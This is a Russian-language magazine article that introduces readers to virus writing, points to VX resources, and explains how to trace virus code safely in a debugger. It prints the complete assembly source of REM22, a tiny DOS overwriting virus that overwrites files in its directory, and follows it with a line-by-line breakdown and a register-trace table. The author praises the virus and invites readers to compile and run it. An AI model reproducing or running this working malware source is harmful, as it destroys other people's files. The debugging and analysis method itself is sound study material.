«Он долго куда-то ехал в неудобной жесткой упаковке, его трясло и укачивало, тело требовало пищи. Он не понимал, почему его, только-только появившегося на свет, вышвырнули из дома… Наконец тряска прекратилась, и кто-то чужой и грубый вскрыл приаттаченный к письму архив. Молодой, любопытный вирус высунулся наружу и совершил свое первое деление…»

В этой статье я поделюсь опытом вирусописания. Основной принцип деятельности любого вируса можно выразить в нескольких словах: тело вируса во время его выполнения трактуется, как код, а во время заражения, как данные. Существует много типов вирусов и различных способов заражения. Естественно, сам механизм действий вируса зависит от конкретной операционной системы. Есть, например, вирусы, работающие в защищенном режиме процессора (режим максимальных
привилегий и абсолютной адресации всей памяти). На лечение таких экземпляров таким компаниям, как AVP, приходится тратить очень много времени и ресурсов. Единственное, что спасает создателей антивирусов — очень малое число реально профессиональных вирусов. 

Для того, чтобы научиться самому писать вирусы необходимо лишь знание основ ассемблера. Я имею в виду, что при начальных знаниях ты можешь пробовать писать собственные вирусы и исследовать уже существующие. Другие полезные, а порой необходимые,
знания придут по мере твоего изучения чужих творений. Из ресурсов по этой теме могу посоветовать страничку, содержащую огромное количество книг и статей:
http://vx.netlux.org/lib_rus.shtml.
Все ее документы написаны на очень понятном и доступном 
языке. Так же существует известный электронный журнал Infected Voice. В нем есть удобная система навигации, позволяющая ориентироваться в новых материалах (исходниках и статьях). Этот журнал выходит раз в пол года (по крайней мере так было раньше, сейчас не уверен) и содержит все нововведения в этой области.

Предположим ты нашел исходник какого-либо вируса и хочешь его исследовать. Как это сделать? Честно говоря, я сам столкнулся с такой проблемой в самый первый раз. У меня вопрос стал так: есть текст вируса, хочу посмотреть, как он работает, и при этом Я ЕГО БОЮСЬ! Это полностью реально: что помешает этому вирусы спалить мой CMOS или потереть мой винт? Ответ: ничто. При твоих неправильных действиях вирус может причинить тебе тот вред, на который запрограммирован. Однако, алгоритм правильных действий достаточно прост. Сейчас мы в нем и разберемся.

Будем считать, что исходник вируса написан на ассемблере. Этот язык идеально подходит для написания вирусов. Как известно, в
ассемблере есть только две команды вызывающие «реальные» (имеются в виду действия, способные произвести
необратимые изменения на жестком диске или еще где-нибудь) это «INT» и «OUT», все остальные команды работают с регистрами процессора и флагами (хоть и достаточно грубо, но по большому счету верно). Мы не рассматриваем функции WIN API, так как их в принципе можно считать заменой прерываний DOS, а их вызов — заменой команды
«INT».

Небольшая справка для новичков или давно не писавших на асме: команда «INT» служит для вызова прерываний DOS или BIOS, а команда «OUT» для записи данных в порт. При этом для команды «INT» номер функции указывается в регистре AH (чаще всего), а
для команды «OUT» в регистрах AL, AX, EAX хранятся данные, записываемые в порт.

Итак. Возьми любой отладчик. Так как для начала нужно разбираться в вирусах под DOS (они по-прежнему работают и под
Win), то подойдет любой отладчик: Turbo Debugger от Borland Inc., CodeView от MicroSoft, AFDPRO или AVPUTIL. Далее, загрузи исходник в отладчик и пошагово трассируйте. Главное придерживаться ТОЛЬКО ОДНОГО ПРАВИЛА. Его можно назвать золотым.
ВНИМАНИЕ: ты можешь смело выполнять исходный код твоего вируса, но как только ты дойдешь до команд «OUT» или «INT» сразу останавливайся и начинай анализ.

Ты должен проанализировать:

  • номер вызываемого прерывания или порта записи;
  • номер вызываемой функции или данные, записываемые в порт.

Для того, чтобы разобраться с реальными действиями этих команд используй либо Tech Help, либо любую доку по асму, либо любую
книгу. Главное, чтобы в твоем источнике можно было найти инфу по всем прерываниям и портам.
Таким образом, ты можешь понять, что будет делать
следующая команда, не выполнив ее у себя на компьютере. Во время трассировки, записывай все данные (состояние регистров, адреса команд, данные о
вызываемых функциях и т.д. ) на листочек бумаги. Тогда к моменту вызова функции (или записи в порт) ты будешь во всеоружии и сможешь определить, что произойдет, если ты выполнишь следующую команду. Так же это поможет тебе при сравнительном анализе изменений в регистрах и флагах. 

После того, как ты поймешь, что делает та или иная команда («INT» или «OUT»), пропусти ее и иди дальше, пока не
встретишь конец файла или следующую такую команду. В результате ты разложишь любой вирус по полочкам и разберешься в его функционировании.

Давай рассмотрим пример. В качестве оного я взял небольшой вирус, написанный неким Reminder’ом. Я достал его из одиннадцатого номера Infected Voice’а. Там он был без комментариев, так что всю работу пришлось проделать самому. Что меня
привлекло в этом творении: очень маленький исходный код, очень маленький размер откомпилированного экзешника, непонятный (на первый взгляд) алгоритм. Вот его исходный код (кстати, называется он REM22):

.model tiny
.code
.startup
start:
pop cx
hel:
xchg ax,bx
db 108h shr 1
db 4eh ; dec si
db 9eh shr 1
db 3ch ;cmp al,xx
db 100h shr 1
db 40h
fmask db ‘*.*’,0
lodsw
cwd
mov dl,al
shl dx,1
int 21h
jmp hel
end

Этот вирус на мой взгляд является шедевром, так как при таком маленьком размере
организовать механизм размножения — работа по истине гения. Когда мы сейчас разберем, что и как он делает, все
станет на свои места. А пока надо заметить: в принципе, этот вирус не несет каких-либо деструктивных действий (думаю, размножение нельзя считать таковым), однако заражает все файлы
в одном с ним каталоге. Он не является «профессиональным» вирусом, то есть в нем отсутствуют многие механизмы, характерные для серьезных творений:

  • отсутствует механизм «свой/чужой» (вирус заражает всех без разбора, даже себя или уже зараженные объекты);
  • заражение происходит только файлов в одном с ним каталоге (попробуй его скомпилировать и запустить в папке, где кроме него
    никого нет :));
  • вирус не является полиморфным (не шифрует сам себя и не меняет свой код);
  • вирус не несет деструктивных действий;
  • вирус не является резидентым.

То есть его можно считать — оверрайтером (программой перезаписывающей что-либо). Но на его примере очень просто проиллюстрировать механизм размножения (да еще такой гибкий).

Давай заглянем к внутрь нашего
оверрайетера. Исходник представляет из себя модель для создания exe-файла. «.startup» это директива TASM’а, без нее можно обойтись, но тогда придется писать «org 100h», а потом ставить метку (и
в конце, после «end», ставить имя метки). Остальные команды можно без проблем найти в любой книжке и посмотреть, что они делают (не ленись). Осталось только разобраться, что делают эти команды вместе в совокупности.

Данный шедевр — это обыкновенный цикл, который повторяется 6 раз. Что же происходит в цикле? А происходит то, что мы вызываем int 21h с шестью разными функциями (93, 4E, 3C, 40, 2E, 00). Смотрим
по порядку, значит:

«pop cx» — это только для обнуления сх (в вершине стека, как ты знаешь, вначале проги лежит зеро). Зачем? А чтобы на команде SUB CH,[2Ah] (поищи, оно должно быть по смещению 108h в дебаггере) получить CH=01 (по смещению 2Ah (это в PSP где-то) всегда лежит FFh), т.е. можно не выпендриваться и просто написать sub ch,ffh, но это изменит код проги… Получается:
*.*,0 = sub CH,[2Ah], а это уже готовая маска для поиска… ВОТ ГДЕ ГЕНИАЛЬНОСТЬ!!!

То есть sub ch,ffh — это «Aе » (в ASCII кодах с пробелом в конце). Дальше, все что идет со смещения 101 (code 93) до смещения 10B (code 00) — это ФУНКЦИИ ДЛЯ int 21h!!! Т.е. это 6 функций, которые мы по очереди вызываем в цикле (см. выше их номера), а код, который при этом получается — это просто мишура. Это не имеет АБСОЛЮТНО НИКАКОГО СМЫСЛА! ТАК ПОЛУЧИЛОСЬ, ЕСЛИ СОБРАТЬ ФУНКЦИИ ПОДРЯД. То есть, если я напишу TANAT, то это переведется в последовательность каких-то команд, ведь так? Но это по сути данные… хотя в данной проге — это и данными не назовешь, это просто ФУНКЦИИ для int 21h, вот в чем
ГЕНИАЛЬНОСТЬ!!! Дальше рассказывать смысла нет — потому как в каждом из шести циклов происходит вызов функции, ну и все регистры приблизительно
подогнаны под идеалы… Смотри: 

-в первый раз вызывается 93h функция: Pipe (Error) — она для самой проги НЕ ВЫПОЛНЯЕТ НИКАКОЙ НАГРУЗКИ, НИЧЕГО ПОЛЕЗНОГО НЕ ДЕЛАЕТ, ЭТО ПРОСТО ИЗЛИШЕК, ОНА НЕ НУЖНА, ЭТО ЛИШНИЙ ЦИКЛ, НО УЧИТЫВАЯ гениальность кода, она просто ВОЗНИКАЕТ САМА ПО СЕБЕ И ОТ НЕЕ НИКУДА НЕ ДЕНЕШЬСЯ!!! Будет еще одна такая «левая» функция — см. дальше.

-вторая: 4Eh — вот это уже то, что надо! Поиск файла, причем к моменту вызова в dx находится смещение маски файла (108h)!!!

-третья: 3Ch — создание файла. Это еще одна «левая» функция. Она нам ни к чему. Нам незачем создавать файл (ведь мы должны только записать себя в тот файл, что нашли в предыдущем шаге). В DX лежит какой-то левый мусор, естественно с
именем файла ничего общего не имеет, поэтому CF=1 и мы переходим на следующий цикл.

-четвертая: 40h — Запись в файл. А вот это то, что нам надо уже! DX содержит смещение 100h (т.е. начало REM22), а вот CX немного подвел — он равен 400h, т.е. реально в начало найденного файла
запишется 400h байт, тогда как REM22 занимает всего 22 байта, т.е. запишется 1002 лишних байта. Это так. Но учитывая гениальность кода :), это можно простить.

-пятая: 2Eh — Set Verify Flag. Это САМАЯ ЛЕВАЯ функция, тут она просто — аппендикс проги. 

-шестая: 00h — это оказывается выход из проги (я тоже не знал).

Вот и все: то есть мы имеем 6 циклов, из которых смысловых только 3: поиск, запись и выход.
Скорее всего тебе будет очень многое не
поянтно. Чтобы разобраться, загрузи исходник в отладчик, потрассируй его, посмотри
на состояние данные в регистрах, посмотри на мои комментарии. Тогда все станет ясно. В заключение
привожу  отладочную таблицу, чтоб ты не составлял ее сам (за одно и посмотришь, как она должна выглядеть). В принципе ее одной должно хватить,
для понимания того, что происходит в этом вирусе, но, думаю, комментарии будут не лишними.

ADR CODE ASM 1 2 3 4 5 6
100 59 POP CX CX=0
101 93 XCHG AX, BX AX=BX=0 AX=0, BX=9300h AX=9300h, BX=0 AX=0, BX=0005h AX=0005h, BX=0400h AX=0400h, BX=2E00h
102 84 4E 4F TEST B[BP]+4Fh,
CL
105 3C 80 CMP AL,
80h
107 40 INC AX AX=0001h AX=0001h AX=9301h AX=0001h AX=0006h AX=0401h
108 2A 2E 2A 00 SUB CH, B[2Ah] CX=0100h CX=0200h CX=0300h CX=0400h CX=0500h CX=0600h
10C AD LODSW (DS:SI->AX) AX=DS:
100=9359h
AX=DS:
102=4E84h
AX=DS:
104=3C4Fh
AX=DS:
106=4080h
AX=DS:
108=2E2Ah
AX=DS:
10A=002Ah
10D 99 CWD (DX=E(AX) ) DX=FFFFh DX=0000h DX=0000h DX=0000h DX=0000h DX=0000h
10E 8A D0 MOV DL, AL DX=FF59h DX=0084h DX=004Fh DX=0080h DX=002Ah DX=002Ah
110 D1 E2 SHL DX, 1 DX=FEB2h DX=0108h DX=009Eh DX=0100h DX=0054h DX=0054h
112 CD 21 INT 21h AH=93 (Pipe) — Error AH=4E
(FindFirst)
AH=3C (CreateFile) AH=40 (WriteFile) AH=2E (SetVerifyFlag) AH=00 (Terminate)
114 EB EB JMP SHORT 101 ??? ???

 

Оставить мнение

Check Also

В гостях у чертёнка. FreeBSD глазами линуксоида

Порог вхождения новичка в мир Linux за последние десять-пятнадцать лет ощутимо снизился. О…